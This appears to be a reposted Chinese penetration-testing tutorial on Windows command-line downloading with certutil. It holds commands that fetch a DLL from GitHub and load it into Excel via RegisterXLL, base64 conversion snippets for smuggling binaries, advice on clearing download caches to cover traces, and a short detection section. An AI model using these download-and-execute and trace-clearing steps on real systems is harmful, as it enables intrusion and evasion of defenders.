您的位置:首页 > 其它

[渗透技巧] Windows命令行下载

2018-01-08 10:49 633 查看

certutil简介

用于证书管理

支持环境: XP - Windows 10 全系统

更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

downloader

(1) 保存在当前路径,文件名称同URL

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt[/code] 
(2) 保存在当前路径,指定保存文件名称

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt


(3) 保存在缓存目录,名称随机

缓存目录位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content


eg:

certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt[/code] 
(4) 支持保存二进制文件

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll[/code] 
注:

使用downloader默认在缓存目录位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下载的文件副本

清除下载文件副本方法:

方法1: 直接删除缓存目录对应文件

如下图



方法2: 命令行:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete


补充:

查看缓存项目:

certutil.exe -urlcache *


如下图



实际测试:

测试系统安装Office软件,下载执行dll对应的powershell代码如下:

$path="c:\test\msg1.dll"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL($path)


 测试如下:



2、计算文件hash

(1) SHA1

certutil.exe -hashfile msg.dll


(2) SHA256:

certutil.exe -hashfile msg.dll SHA256


(3) MD5:

certutil.exe -hashfile msg.dll MD5


3、base64编码转换

(1) base64编码:

CertUtil -encode InFile OutFile


(2) base64解码

CertUtil -decode InFile OutFile


注:

编码后的文件会添加两处标识信息:

文件头:

-----BEGIN CERTIFICATE-----


文件尾:

-----END CERTIFICATE-----


如下图



downloader常用方法

利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content


downloader常用方法如下:

certUtil

powershell

csc

vbs

JScript

hta

bitsadmin

wget

debug

ftp

ftfp

base64编码转换常用方法

在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。

所以在此整理一下常用不同开发工具对应的base64编码转换方式

powershell

base64编码:

$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload


base64解码:

$Base64Bytes = Get-Content ("base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)


C SHARP(c#)

base64编码:

using System.IO;

byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
sw.Write(AsBase64String);
sw.Close();


base64解码:

using System.IO;

String AsString = File.ReadAllText(@"C:\test\base64.txt");
byte[] bytes = Convert.FromBase64String(AsString);
FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create);
fs.Write(bytes, 0, bytes.Length);
fs.Flush();
fs.Close();


js

base64解码:

fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile("C:\\test\\base64.txt",1);
base64string=f.ReadAll();
f.Close();
enc = new ActiveXObject("System.Text.ASCIIEncoding");
length = enc.GetByteCount_2(base64string);
ba = enc.GetBytes_4(base64string);
transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);
s.SaveToFile("C:\\test\\calc.exe",2);


certutil

base64编码:

CertUtil -encode InFile OutFile


base64解码:

CertUtil -decode InFile OutFile


注:

编码后的文件会添加两处标识信息:

文件头:

—–BEGIN CERTIFICATE—–

文件尾:

—–END CERTIFICATE—–

检测downloader

查看利用certUtil下载文件的缓存记录:

certutil.exe -urlcache *


缓存文件位置:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: